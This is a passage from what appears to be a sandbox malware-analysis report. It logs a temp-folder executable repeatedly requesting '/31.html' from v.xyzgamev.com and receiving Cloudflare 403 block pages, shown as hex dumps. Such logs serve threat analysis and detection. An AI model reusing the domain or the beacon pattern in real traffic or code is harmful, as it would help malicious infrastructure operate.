6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:30 UTC	4961	IN	Data Raw: 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 Data Ascii: -css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator
2022-08-31 12:29:30 UTC	4962	IN	Data Raw: 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f Data Ascii: lass="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself fro
2022-08-31 12:29:30 UTC	4963	IN	Data Raw: 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: n sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:
2022-08-31 12:29:30 UTC	4965	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.4	49801	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:31 UTC	4965	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:31 UTC	4965	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:46 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KnP1kh%2BCSzEUmart0mjU3z9Dh8hgJqQqSwb2gHF%2FT788TLTvykYwMsmT%2FLNleO8X7IW7dZgP4gFZpz4iFyQsm62UiyfgsBj3c0z4TEprD7xn7WzZX3YKMW5wgJjk%2BVeXhw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5ae88d79180-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:31 UTC	4965	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:31 UTC	4966	IN	Data Raw: 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 Data Ascii: href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cooki
2022-08-31 12:29:31 UTC	4967	IN	Data Raw: 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 Data Ascii: cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from onli
2022-08-31 12:29:31 UTC	4969	IN	Data Raw: 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: lock sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden
2022-08-31 12:29:31 UTC	4970	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49802	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:32 UTC	4970	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:32 UTC	4970	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:47 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X%2FTjAr2wzW68jM6U6UPYwP%2BnT4yaiQOeNJlGRHX5Nry5NT%2FZ%2BaeSjOmkD0hqJRyXV%2FDki8%2Fjm3LhYI62Hqh94u5EPQqCjJzfJBhA%2BiTv%2BWiQ%2F6X6gKk0gkBQAOZRN67Cvg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5b41d8c0081-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:32 UTC	4971	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:32 UTC	4971	IN	Data Raw: 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 Data Ascii: yles-css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navig
2022-08-31 12:29:32 UTC	4973	IN	Data Raw: 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 Data Ascii: iv class="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself
2022-08-31 12:29:32 UTC	4974	IN	Data Raw: 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 Data Ascii: idden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator
2022-08-31 12:29:32 UTC	4975	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49803	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:33 UTC	4975	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:33 UTC	4975	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:48 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VTzxVtY3K8uJxO9GQfmANDJuzyMAdOdv%2FLIR%2FSsGO5tHnYrFcvhZbYcVMqY9IjYR%2F7caoAVQCOX3parcP4jF5d58cr%2Fyi4E2mtDxyFu89O96N8HN5TBrLO24%2FGLXmZT5uQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5ba0a2c920d-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:33 UTC	4976	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:33 UTC	4977	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f Data Ascii: " href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.coo
2022-08-31 12:29:33 UTC	4978	IN	Data Raw: 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e Data Ascii: ="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from on
2022-08-31 12:29:33 UTC	4979	IN	Data Raw: 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: :block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidd
2022-08-31 12:29:33 UTC	4980	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49804	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:34 UTC	4980	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:34 UTC	4980	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:49 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5gTcwkKDyZ1Wmd8WX2dw5SXfPPYZ%2FyjericqYifysSGmZCKmeJiewiyYlb9OHY3P6jXWj%2FU%2BDrbbE%2BHQ%2FYRQfuLEyjARnIZMeYKwYEuTj1VuaPTPfNOmBNUyMP%2B593j%2BSA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5bf8e2b91fb-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:34 UTC	4981	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> 